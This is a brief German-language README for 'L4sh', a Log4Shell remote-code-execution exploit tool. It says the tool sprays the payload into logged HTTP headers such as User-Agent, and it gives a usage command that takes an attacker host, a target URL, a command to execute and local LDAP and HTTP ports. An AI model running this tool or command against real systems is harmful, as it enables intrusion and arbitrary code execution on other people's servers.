L4sh

Log4Shell RCE Exploit

Vollständig unabhängiger Exploit, der keine Drittanbieter-Binärdateien erfordert. Der Exploit sendet die Payload an alle möglichen protokollierten HTTP-Header wie X-Forwarding , Server-IP , User-Agent.

Verwendung

python main.py -i lhost -u http://target:targetport -c "command_to_execute" -p lhttp_port -l lldap_port

Anforderungen

• java-8-openjdk
• pip install -r requirements.txt
• python3.6+